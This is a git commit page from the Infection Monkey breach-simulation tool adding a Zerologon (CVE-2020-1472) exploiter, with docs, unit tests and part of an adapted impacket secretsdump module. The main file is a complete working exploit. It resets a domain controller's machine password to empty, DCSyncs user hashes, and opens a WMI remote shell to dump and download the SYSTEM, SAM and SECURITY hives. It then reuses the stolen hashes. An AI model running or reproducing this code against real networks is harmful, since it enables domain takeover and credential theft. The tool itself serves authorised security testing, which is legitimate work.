forked from p15670423/monkey
Merge pull request #911 from shreyamalviya/zerologon-exploiter
Zerologon Exploiter
This commit is contained in:
commit
bc3283c4a5
3
LICENSE
3
LICENSE
|
@ -5,6 +5,9 @@
|
|||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
This product includes software developed by SecureAuth Corporation
|
||||
(https://www.secureauth.com/).
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
|
|
|
@ -0,0 +1,26 @@
|
|||
---
|
||||
title: "Zerologon"
|
||||
date: 2021-01-31T19:46:12+05:30
|
||||
draft: false
|
||||
tags: ["exploit", "windows"]
|
||||
---
|
||||
|
||||
The Zerologon exploiter exploits [CVE-2020-1472](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1472).
|
||||
|
||||
This exploiter is unsafe.
|
||||
* It will temporarily change the target domain controller's password.
|
||||
* It may break the target domain controller's communication with other systems in the network, affecting functionality.
|
||||
|
||||
It is, therefore, **not** enabled by default.
|
||||
|
||||
|
||||
### Description
|
||||
|
||||
An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC).
|
||||
|
||||
To download the relevant security update and read more, click [here](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472).
|
||||
|
||||
|
||||
### Notes
|
||||
|
||||
* The Infection Monkey exploiter implementation is based on implementations by [@dirkjanm](https://github.com/dirkjanm/CVE-2020-1472/) and [@risksense](https://github.com/risksense/zerologon).
|
|
@ -36,6 +36,11 @@ class HostExploiter(Plugin):
|
|||
# Usual values are 'vulnerability' or 'brute_force'
|
||||
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
||||
|
||||
# Determines if successful exploitation should stop further exploit attempts on that machine.
|
||||
# Generally, should be True for RCE type exploiters and False if we don't expect the exploiter to run the monkey agent.
|
||||
# Example: Zerologon steals credentials
|
||||
RUNS_AGENT_ON_SUCCESS = True
|
||||
|
||||
@property
|
||||
@abstractmethod
|
||||
def _EXPLOITED_SERVICE(self):
|
||||
|
@ -104,4 +109,5 @@ class HostExploiter(Plugin):
|
|||
:param cmd: String of executed command. e.g. 'echo Example'
|
||||
"""
|
||||
powershell = True if "powershell" in cmd.lower() else False
|
||||
self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
|
||||
self.exploit_info['executed_cmds'].append(
|
||||
{'cmd': cmd, 'powershell': powershell})
|
||||
|
|
|
@ -0,0 +1,94 @@
|
|||
import pytest
|
||||
|
||||
from infection_monkey.exploit.zerologon import ZerologonExploiter
|
||||
from infection_monkey.model.host import VictimHost
|
||||
|
||||
|
||||
DOMAIN_NAME = "domain-name"
|
||||
IP = "0.0.0.0"
|
||||
NETBIOS_NAME = "NetBIOS Name"
|
||||
|
||||
USERS = ["Administrator", "Bob"]
|
||||
RIDS = ["500", "1024"]
|
||||
LM_HASHES = ["abc123", "098zyx"]
|
||||
NT_HASHES = ["def456", "765vut"]
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def zerologon_exploiter_object(monkeypatch):
|
||||
def mock_report_login_attempt(**kwargs):
|
||||
return None
|
||||
|
||||
host = VictimHost(IP, DOMAIN_NAME)
|
||||
obj = ZerologonExploiter(host)
|
||||
monkeypatch.setattr(obj, "dc_name", NETBIOS_NAME, raising=False)
|
||||
monkeypatch.setattr(obj, "report_login_attempt", mock_report_login_attempt)
|
||||
return obj
|
||||
|
||||
|
||||
def test_assess_exploit_attempt_result_no_error(zerologon_exploiter_object):
|
||||
dummy_exploit_attempt_result = {"ErrorCode": 0}
|
||||
assert zerologon_exploiter_object.assess_exploit_attempt_result(
|
||||
dummy_exploit_attempt_result
|
||||
)
|
||||
|
||||
|
||||
def test_assess_exploit_attempt_result_with_error(zerologon_exploiter_object):
|
||||
dummy_exploit_attempt_result = {"ErrorCode": 1}
|
||||
assert not zerologon_exploiter_object.assess_exploit_attempt_result(
|
||||
dummy_exploit_attempt_result
|
||||
)
|
||||
|
||||
|
||||
def test_assess_restoration_attempt_result_restored(zerologon_exploiter_object):
|
||||
dummy_restoration_attempt_result = object()
|
||||
assert zerologon_exploiter_object.assess_restoration_attempt_result(
|
||||
dummy_restoration_attempt_result
|
||||
)
|
||||
|
||||
|
||||
def test_assess_restoration_attempt_result_not_restored(zerologon_exploiter_object):
|
||||
dummy_restoration_attempt_result = False
|
||||
assert not zerologon_exploiter_object.assess_restoration_attempt_result(
|
||||
dummy_restoration_attempt_result
|
||||
)
|
||||
|
||||
|
||||
def test__extract_user_creds_from_secrets_good_data(zerologon_exploiter_object):
|
||||
mock_dumped_secrets = [
|
||||
f"{USERS[i]}:{RIDS[i]}:{LM_HASHES[i]}:{NT_HASHES[i]}:::"
|
||||
for i in range(len(USERS))
|
||||
]
|
||||
expected_extracted_creds = {
|
||||
USERS[0]: {
|
||||
"RID": int(RIDS[0]),
|
||||
"lm_hash": LM_HASHES[0],
|
||||
"nt_hash": NT_HASHES[0],
|
||||
},
|
||||
USERS[1]: {
|
||||
"RID": int(RIDS[1]),
|
||||
"lm_hash": LM_HASHES[1],
|
||||
"nt_hash": NT_HASHES[1],
|
||||
},
|
||||
}
|
||||
assert (
|
||||
zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets)
|
||||
is None
|
||||
)
|
||||
assert zerologon_exploiter_object._extracted_creds == expected_extracted_creds
|
||||
|
||||
|
||||
def test__extract_user_creds_from_secrets_bad_data(zerologon_exploiter_object):
|
||||
mock_dumped_secrets = [
|
||||
f"{USERS[i]}:{RIDS[i]}:::{LM_HASHES[i]}:{NT_HASHES[i]}:::"
|
||||
for i in range(len(USERS))
|
||||
]
|
||||
expected_extracted_creds = {
|
||||
USERS[0]: {"RID": int(RIDS[0]), "lm_hash": "", "nt_hash": ""},
|
||||
USERS[1]: {"RID": int(RIDS[1]), "lm_hash": "", "nt_hash": ""},
|
||||
}
|
||||
assert (
|
||||
zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets)
|
||||
is None
|
||||
)
|
||||
assert zerologon_exploiter_object._extracted_creds == expected_extracted_creds
|
|
@ -0,0 +1,45 @@
|
|||
import pytest
|
||||
from nmb.NetBIOS import NetBIOS
|
||||
|
||||
from infection_monkey.exploit.zerologon_utils.vuln_assessment import \
|
||||
get_dc_details
|
||||
from infection_monkey.model.host import VictimHost
|
||||
|
||||
|
||||
DOMAIN_NAME = "domain-name"
|
||||
IP = "0.0.0.0"
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def host():
|
||||
return VictimHost(IP, DOMAIN_NAME)
|
||||
|
||||
|
||||
def _get_stub_queryIPForName(netbios_names):
|
||||
def stub_queryIPForName(*args, **kwargs):
|
||||
return netbios_names
|
||||
return stub_queryIPForName
|
||||
|
||||
|
||||
def test_get_dc_details_multiple_netbios_names(host, monkeypatch):
|
||||
NETBIOS_NAMES = ["Name1", "Name2", "Name3"]
|
||||
|
||||
stub_queryIPForName = _get_stub_queryIPForName(NETBIOS_NAMES)
|
||||
monkeypatch.setattr(NetBIOS, "queryIPForName", stub_queryIPForName)
|
||||
|
||||
dc_ip, dc_name, dc_handle = get_dc_details(host)
|
||||
assert dc_ip == IP
|
||||
assert dc_name == NETBIOS_NAMES[0]
|
||||
assert dc_handle == f"\\\\{NETBIOS_NAMES[0]}"
|
||||
|
||||
|
||||
def test_get_dc_details_no_netbios_names(host, monkeypatch):
|
||||
NETBIOS_NAMES = []
|
||||
|
||||
stub_queryIPForName = _get_stub_queryIPForName(NETBIOS_NAMES)
|
||||
monkeypatch.setattr(NetBIOS, "queryIPForName", stub_queryIPForName)
|
||||
|
||||
dc_ip, dc_name, dc_handle = get_dc_details(host)
|
||||
assert dc_ip == IP
|
||||
assert dc_name == ""
|
||||
assert dc_handle == "\\\\"
|
|
@ -0,0 +1,505 @@
|
|||
"""
|
||||
Zerologon, CVE-2020-1472
|
||||
Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
from binascii import unhexlify
|
||||
from typing import Dict, List, Optional, Tuple
|
||||
|
||||
import impacket
|
||||
from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
|
||||
from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump
|
||||
from infection_monkey.exploit.zerologon_utils.vuln_assessment import (
|
||||
get_dc_details, is_exploitable)
|
||||
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
|
||||
from infection_monkey.utils.capture_output import StdoutCapture
|
||||
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class ZerologonExploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ["windows"]
|
||||
_EXPLOITED_SERVICE = "Netlogon"
|
||||
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
||||
RUNS_AGENT_ON_SUCCESS = False
|
||||
MAX_ATTEMPTS = 2000 # For 2000, expected average number of attempts needed: 256.
|
||||
ERROR_CODE_ACCESS_DENIED = 0xC0000022
|
||||
|
||||
def __init__(self, host: object):
|
||||
super().__init__(host)
|
||||
self.vulnerable_port = None
|
||||
self.exploit_info["credentials"] = {}
|
||||
self._extracted_creds = {}
|
||||
|
||||
def _exploit_host(self) -> bool:
|
||||
self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host)
|
||||
|
||||
can_exploit, rpc_con = is_exploitable(self)
|
||||
if can_exploit:
|
||||
LOG.info("Target vulnerable, changing account password to empty string.")
|
||||
|
||||
# Start exploiting attempts.
|
||||
LOG.debug("Attempting exploit.")
|
||||
_exploited = self._send_exploit_rpc_login_requests(rpc_con)
|
||||
|
||||
rpc_con.disconnect()
|
||||
|
||||
else:
|
||||
LOG.info(
|
||||
"Exploit not attempted. Target is most likely patched, or an error was encountered."
|
||||
)
|
||||
return False
|
||||
|
||||
# Restore DC's original password.
|
||||
if _exploited:
|
||||
if self.restore_password():
|
||||
self.store_extracted_creds_for_exploitation()
|
||||
LOG.info("System exploited and password restored successfully.")
|
||||
else:
|
||||
LOG.info("System exploited but couldn't restore password!")
|
||||
else:
|
||||
LOG.info("System was not exploited.")
|
||||
|
||||
return _exploited
|
||||
|
||||
@staticmethod
|
||||
def connect_to_dc(dc_ip) -> object:
|
||||
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
|
||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||
rpc_con.connect()
|
||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||
return rpc_con
|
||||
|
||||
def _send_exploit_rpc_login_requests(self, rpc_con) -> bool:
|
||||
for _ in range(0, self.MAX_ATTEMPTS):
|
||||
exploit_attempt_result = self.try_exploit_attempt(rpc_con)
|
||||
|
||||
is_exploited = self.assess_exploit_attempt_result(exploit_attempt_result)
|
||||
if is_exploited:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def try_exploit_attempt(self, rpc_con) -> Optional[object]:
|
||||
try:
|
||||
exploit_attempt_result = self.attempt_exploit(rpc_con)
|
||||
return exploit_attempt_result
|
||||
except nrpc.DCERPCSessionError as e:
|
||||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||
# Otherwise, the attack is probably not working.
|
||||
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
|
||||
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||
except BaseException as e:
|
||||
LOG.info(f"Unexpected error: {e}")
|
||||
|
||||
def attempt_exploit(self, rpc_con: rpcrt.DCERPC_v5) -> object:
|
||||
request = nrpc.NetrServerPasswordSet2()
|
||||
ZerologonExploiter._set_up_request(request, self.dc_name)
|
||||
request["PrimaryName"] = self.dc_handle + "\x00"
|
||||
request["ClearNewPassword"] = b"\x00" * 516
|
||||
|
||||
return rpc_con.request(request)
|
||||
|
||||
@staticmethod
|
||||
def _set_up_request(request: nrpc.NetrServerPasswordSet2, dc_name: str) -> None:
|
||||
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
||||
authenticator["Credential"] = b"\x00" * 8
|
||||
authenticator["Timestamp"] = b"\x00" * 4
|
||||
|
||||
request["AccountName"] = dc_name + "$\x00"
|
||||
request["ComputerName"] = dc_name + "\x00"
|
||||
request[
|
||||
"SecureChannelType"
|
||||
] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||
request["Authenticator"] = authenticator
|
||||
|
||||
def assess_exploit_attempt_result(self, exploit_attempt_result) -> bool:
|
||||
if exploit_attempt_result:
|
||||
if exploit_attempt_result["ErrorCode"] == 0:
|
||||
self.report_login_attempt(result=True, user=self.dc_name)
|
||||
_exploited = True
|
||||
LOG.info("Exploit complete!")
|
||||
else:
|
||||
self.report_login_attempt(result=False, user=self.dc_name)
|
||||
_exploited = False
|
||||
LOG.info(
|
||||
f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong."
|
||||
)
|
||||
return _exploited
|
||||
|
||||
return False
|
||||
|
||||
def restore_password(self) -> bool:
|
||||
LOG.info("Restoring original password...")
|
||||
|
||||
try:
|
||||
rpc_con = None
|
||||
|
||||
# DCSync to get usernames and their passwords' hashes.
|
||||
LOG.debug("DCSync; getting usernames and their passwords' hashes.")
|
||||
user_creds = self.get_all_user_creds()
|
||||
if not user_creds:
|
||||
raise Exception(
|
||||
"Couldn't extract any usernames and/or their passwords' hashes."
|
||||
)
|
||||
|
||||
# Use above extracted credentials to get original DC password's hashes.
|
||||
LOG.debug("Getting original DC password's NT hash.")
|
||||
original_pwd_nthash = None
|
||||
for user_details in user_creds:
|
||||
username = user_details[0]
|
||||
user_pwd_hashes = [
|
||||
user_details[1]["lm_hash"],
|
||||
user_details[1]["nt_hash"],
|
||||
]
|
||||
try:
|
||||
original_pwd_nthash = self.get_original_pwd_nthash(
|
||||
username, user_pwd_hashes
|
||||
)
|
||||
if original_pwd_nthash:
|
||||
break
|
||||
except Exception as e:
|
||||
LOG.info(
|
||||
f"Credentials didn\'t work. Exception: {str(e)}"
|
||||
)
|
||||
|
||||
if not original_pwd_nthash:
|
||||
raise Exception("Couldn't extract original DC password's NT hash.")
|
||||
|
||||
# Connect to the DC's Netlogon service.
|
||||
try:
|
||||
rpc_con = ZerologonExploiter.connect_to_dc(self.dc_ip)
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||
return False
|
||||
|
||||
# Start restoration attempts.
|
||||
LOG.debug("Attempting password restoration.")
|
||||
_restored = self._send_restoration_rpc_login_requests(
|
||||
rpc_con, original_pwd_nthash
|
||||
)
|
||||
if not _restored:
|
||||
raise Exception("Failed to restore password! Max attempts exceeded?")
|
||||
|
||||
return _restored
|
||||
|
||||
except Exception as e:
|
||||
LOG.error(e)
|
||||
return False
|
||||
|
||||
finally:
|
||||
if rpc_con:
|
||||
rpc_con.disconnect()
|
||||
|
||||
def get_all_user_creds(self) -> List[Tuple[str, Dict]]:
|
||||
try:
|
||||
options = OptionsForSecretsdump(
|
||||
target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
|
||||
target_ip=self.dc_ip,
|
||||
dc_ip=self.dc_ip,
|
||||
)
|
||||
|
||||
dumped_secrets = self.get_dumped_secrets(
|
||||
remote_name=self.dc_ip, username=f"{self.dc_name}$", options=options
|
||||
)
|
||||
|
||||
self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets)
|
||||
|
||||
creds_to_use_for_getting_original_pwd_hashes = []
|
||||
admin = "Administrator"
|
||||
for user in self._extracted_creds.keys():
|
||||
if user == admin: # most likely to work so try this first
|
||||
creds_to_use_for_getting_original_pwd_hashes.insert(
|
||||
0, (user, self._extracted_creds[user])
|
||||
)
|
||||
else:
|
||||
creds_to_use_for_getting_original_pwd_hashes.append(
|
||||
(user, self._extracted_creds[user])
|
||||
)
|
||||
|
||||
return creds_to_use_for_getting_original_pwd_hashes
|
||||
|
||||
except Exception as e:
|
||||
LOG.info(
|
||||
f"Exception occurred while dumping secrets to get some username and its password's NT hash: {str(e)}"
|
||||
)
|
||||
|
||||
return None
|
||||
|
||||
def get_dumped_secrets(
|
||||
self,
|
||||
remote_name: str = "",
|
||||
username: str = "",
|
||||
options: Optional[object] = None,
|
||||
) -> List[str]:
|
||||
dumper = DumpSecrets(
|
||||
remote_name=remote_name, username=username, options=options
|
||||
)
|
||||
dumped_secrets = dumper.dump().split("\n")
|
||||
return dumped_secrets
|
||||
|
||||
def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> None:
|
||||
# format of secret we're looking for - "domain\uid:rid:lmhash:nthash:::"
|
||||
re_phrase = r"([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])"
|
||||
|
||||
for line in dumped_secrets:
|
||||
secret = re.fullmatch(pattern=re_phrase, string=line)
|
||||
if secret:
|
||||
parts_of_secret = secret[0].split(":")
|
||||
user = parts_of_secret[0].split("\\")[-1] # we don't want the domain
|
||||
user_RID, lmhash, nthash = parts_of_secret[1:4]
|
||||
|
||||
self._extracted_creds[user] = {
|
||||
"RID": int(user_RID), # relative identifier
|
||||
"lm_hash": lmhash,
|
||||
"nt_hash": nthash,
|
||||
}
|
||||
|
||||
def store_extracted_creds_for_exploitation(self) -> None:
|
||||
for user in self._extracted_creds.keys():
|
||||
self.add_extracted_creds_to_exploit_info(
|
||||
user,
|
||||
self._extracted_creds[user]["lm_hash"],
|
||||
self._extracted_creds[user]["nt_hash"],
|
||||
)
|
||||
self.add_extracted_creds_to_monkey_config(
|
||||
user,
|
||||
self._extracted_creds[user]["lm_hash"],
|
||||
self._extracted_creds[user]["nt_hash"],
|
||||
)
|
||||
|
||||
def add_extracted_creds_to_exploit_info(
|
||||
self, user: str, lmhash: str, nthash: str
|
||||
) -> None:
|
||||
self.exploit_info["credentials"].update(
|
||||
{
|
||||
user: {
|
||||
"username": user,
|
||||
"password": "",
|
||||
"lm_hash": lmhash,
|
||||
"ntlm_hash": nthash,
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
# so other exploiters can use these creds
|
||||
def add_extracted_creds_to_monkey_config(
|
||||
self, user: str, lmhash: str, nthash: str
|
||||
) -> None:
|
||||
if user not in self._config.exploit_user_list:
|
||||
self._config.exploit_user_list.append(user)
|
||||
|
||||
if lmhash not in self._config.exploit_lm_hash_list:
|
||||
self._config.exploit_lm_hash_list.append(lmhash)
|
||||
|
||||
if nthash not in self._config.exploit_ntlm_hash_list:
|
||||
self._config.exploit_ntlm_hash_list.append(nthash)
|
||||
|
||||
def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> str:
|
||||
if not self.save_HKLM_keys_locally(username, user_pwd_hashes):
|
||||
return
|
||||
|
||||
try:
|
||||
options = OptionsForSecretsdump(
|
||||
dc_ip=self.dc_ip,
|
||||
just_dc=False,
|
||||
system=os.path.join(os.path.expanduser("~"), "monkey-system.save"),
|
||||
sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"),
|
||||
security=os.path.join(os.path.expanduser("~"), "monkey-security.save"),
|
||||
)
|
||||
|
||||
dumped_secrets = self.get_dumped_secrets(
|
||||
remote_name="LOCAL", options=options
|
||||
)
|
||||
for secret in dumped_secrets:
|
||||
if (
|
||||
"$MACHINE.ACC: " in secret
|
||||
): # format of secret - "$MACHINE.ACC: lmhash:nthash"
|
||||
nthash = secret.split(":")[2]
|
||||
return nthash
|
||||
|
||||
except Exception as e:
|
||||
LOG.info(
|
||||
f"Exception occurred while dumping secrets to get original DC password's NT hash: {str(e)}"
|
||||
)
|
||||
|
||||
finally:
|
||||
self.remove_locally_saved_HKLM_keys()
|
||||
|
||||
def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool:
|
||||
LOG.info(
|
||||
f'Starting remote shell on victim with credentials:\n'
|
||||
f'user: {username}\n'
|
||||
f'hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : '
|
||||
f'{self._config.hash_sensitive_data(user_pwd_hashes[1])}'
|
||||
)
|
||||
|
||||
wmiexec = Wmiexec(
|
||||
ip=self.dc_ip, username=username, hashes=':'.join(user_pwd_hashes), domain=self.dc_ip
|
||||
)
|
||||
|
||||
remote_shell = wmiexec.get_remote_shell()
|
||||
if remote_shell:
|
||||
with StdoutCapture() as output_captor:
|
||||
try:
|
||||
# Save HKLM keys on victim.
|
||||
remote_shell.onecmd(
|
||||
"reg save HKLM\\SYSTEM system.save && "
|
||||
+ "reg save HKLM\\SAM sam.save && "
|
||||
+ "reg save HKLM\\SECURITY security.save"
|
||||
)
|
||||
|
||||
# Get HKLM keys locally (can't run these together because it needs to call do_get()).
|
||||
remote_shell.onecmd("get system.save")
|
||||
remote_shell.onecmd("get sam.save")
|
||||
remote_shell.onecmd("get security.save")
|
||||
|
||||
# Delete saved keys on victim.
|
||||
remote_shell.onecmd("del /f system.save sam.save security.save")
|
||||
|
||||
wmiexec.close()
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occured: {str(e)}")
|
||||
|
||||
finally:
|
||||
info = output_captor.get_captured_stdout_output()
|
||||
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||
|
||||
else:
|
||||
raise Exception("Could not start remote shell on DC.")
|
||||
|
||||
return False
|
||||
|
||||
def remove_locally_saved_HKLM_keys(self) -> None:
|
||||
for name in ["system", "sam", "security"]:
|
||||
path = os.path.join(os.path.expanduser("~"), f"monkey-{name}.save")
|
||||
try:
|
||||
os.remove(path)
|
||||
except Exception as e:
|
||||
LOG.info(
|
||||
f"Exception occurred while removing file {path} from system: {str(e)}"
|
||||
)
|
||||
|
||||
def _send_restoration_rpc_login_requests(
|
||||
self, rpc_con, original_pwd_nthash
|
||||
) -> bool:
|
||||
for _ in range(0, self.MAX_ATTEMPTS):
|
||||
restoration_attempt_result = self.try_restoration_attempt(
|
||||
rpc_con, original_pwd_nthash
|
||||
)
|
||||
|
||||
is_restored = self.assess_restoration_attempt_result(
|
||||
restoration_attempt_result
|
||||
)
|
||||
if is_restored:
|
||||
return is_restored
|
||||
|
||||
return False
|
||||
|
||||
def try_restoration_attempt(
|
||||
self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str
|
||||
) -> Optional[object]:
|
||||
try:
|
||||
restoration_attempt_result = self.attempt_restoration(
|
||||
rpc_con, original_pwd_nthash
|
||||
)
|
||||
return restoration_attempt_result
|
||||
except nrpc.DCERPCSessionError as e:
|
||||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||
# Otherwise, the attack is probably not working.
|
||||
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
|
||||
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||
except BaseException as e:
|
||||
LOG.info(f"Unexpected error: {e}")
|
||||
|
||||
return False
|
||||
|
||||
def attempt_restoration(
|
||||
self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str
|
||||
) -> Optional[object]:
|
||||
plaintext = b"\x00" * 8
|
||||
ciphertext = b"\x00" * 8
|
||||
flags = 0x212FFFFF
|
||||
|
||||
# Send challenge and authentication request.
|
||||
server_challenge_response = nrpc.hNetrServerReqChallenge(
|
||||
rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext
|
||||
)
|
||||
server_challenge = server_challenge_response["ServerChallenge"]
|
||||
|
||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||
rpc_con,
|
||||
self.dc_handle + "\x00",
|
||||
self.dc_name + "$\x00",
|
||||
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||
self.dc_name + "\x00",
|
||||
ciphertext,
|
||||
flags,
|
||||
)
|
||||
|
||||
assert server_auth["ErrorCode"] == 0
|
||||
session_key = nrpc.ComputeSessionKeyAES(
|
||||
None,
|
||||
b"\x00" * 8,
|
||||
server_challenge,
|
||||
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"),
|
||||
)
|
||||
|
||||
try:
|
||||
nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
|
||||
nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse)
|
||||
|
||||
request = NetrServerPasswordSet()
|
||||
ZerologonExploiter._set_up_request(request, self.dc_name)
|
||||
request["PrimaryName"] = NULL
|
||||
pwd_data = impacket.crypto.SamEncryptNTLMHash(
|
||||
unhexlify(original_pwd_nthash), session_key
|
||||
)
|
||||
request["UasNewPassword"] = pwd_data
|
||||
|
||||
rpc_con.request(request)
|
||||
|
||||
except Exception as e:
|
||||
LOG.info(f"Unexpected error: {e}")
|
||||
|
||||
return rpc_con
|
||||
|
||||
def assess_restoration_attempt_result(self, restoration_attempt_result) -> bool:
|
||||
if restoration_attempt_result:
|
||||
LOG.debug(
|
||||
"DC machine account password should be restored to its original value."
|
||||
)
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
|
||||
class NetrServerPasswordSet(nrpc.NDRCALL):
|
||||
opnum = 6
|
||||
structure = (
|
||||
("PrimaryName", nrpc.PLOGONSRV_HANDLE),
|
||||
("AccountName", nrpc.WSTR),
|
||||
("SecureChannelType", nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
|
||||
("ComputerName", nrpc.WSTR),
|
||||
("Authenticator", nrpc.NETLOGON_AUTHENTICATOR),
|
||||
("UasNewPassword", nrpc.ENCRYPTED_NT_OWF_PASSWORD),
|
||||
)
|
||||
|
||||
|
||||
class NetrServerPasswordSetResponse(nrpc.NDRCALL):
|
||||
structure = (
|
||||
("ReturnAuthenticator", nrpc.NETLOGON_AUTHENTICATOR),
|
||||
("ErrorCode", nrpc.NTSTATUS),
|
||||
)
|
|
@ -0,0 +1,275 @@
|
|||
# Copyright (c) 2000 SecureAuth Corporation. All rights
|
||||
# reserved.
|
||||
|
||||
# Redistribution and use in source and binary forms, with or without
|
||||
# modification, are permitted provided that the following conditions
|
||||
# are met:
|
||||
|
||||
# 1. Redistributions of source code must retain the above copyright
|
||||
# notice, this list of conditions and the following disclaimer.
|
||||
|
||||
# 2. Redistributions in binary form must reproduce the above copyright
|
||||
# notice, this list of conditions and the following disclaimer in
|
||||
# the documentation and/or other materials provided with the
|
||||
# distribution.
|
||||
|
||||
# 3. The end-user documentation included with the redistribution,
|
||||
# if any, must include the following acknowledgment:
|
||||
# "This product includes software developed by
|
||||
# SecureAuth Corporation (https://www.secureauth.com/)."
|
||||
# Alternately, this acknowledgment may appear in the software itself,
|
||||
# if and wherever such third-party acknowledgments normally appear.
|
||||
|
||||
# 4. The names "Impacket", "SecureAuth Corporation" must
|
||||
# not be used to endorse or promote products derived from this
|
||||
# software without prior written permission. For written
|
||||
# permission, please contact oss@secureauth.com.
|
||||
|
||||
# 5. Products derived from this software may not be called "Impacket",
|
||||
# nor may "Impacket" appear in their name, without prior written
|
||||
# permission of SecureAuth Corporation.
|
||||
|
||||
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
|
||||
# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
# DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
|
||||
# ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
|
||||
# USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
# OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
# SUCH DAMAGE.
|
||||
|
||||
|
||||
import logging
|
||||
import os
|
||||
import traceback
|
||||
|
||||
from impacket.examples.secretsdump import (
|
||||
LocalOperations,
|
||||
LSASecrets,
|
||||
NTDSHashes,
|
||||
RemoteOperations,
|
||||
SAMHashes,
|
||||
)
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
from infection_monkey.utils.capture_output import StdoutCapture
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
|
||||
# Used to get Administrator and original DC passwords' hashes
|
||||
class DumpSecrets:
|
||||
def __init__(self, remote_name, username="", password="", domain="", options=None):
|
||||
self.__use_VSS_method = options.use_vss
|
||||
self.__remote_name = remote_name
|
||||
self.__remote_host = options.target_ip
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash = ""
|
||||
self.__nthash = ""
|
||||
self.__smb_connection = None
|
||||
self.__remote_ops = None
|
||||
self.__SAM_hashes = None
|
||||
self.__NTDS_hashes = None
|
||||
self.__LSA_secrets = None
|
||||
self.__system_hive = options.system
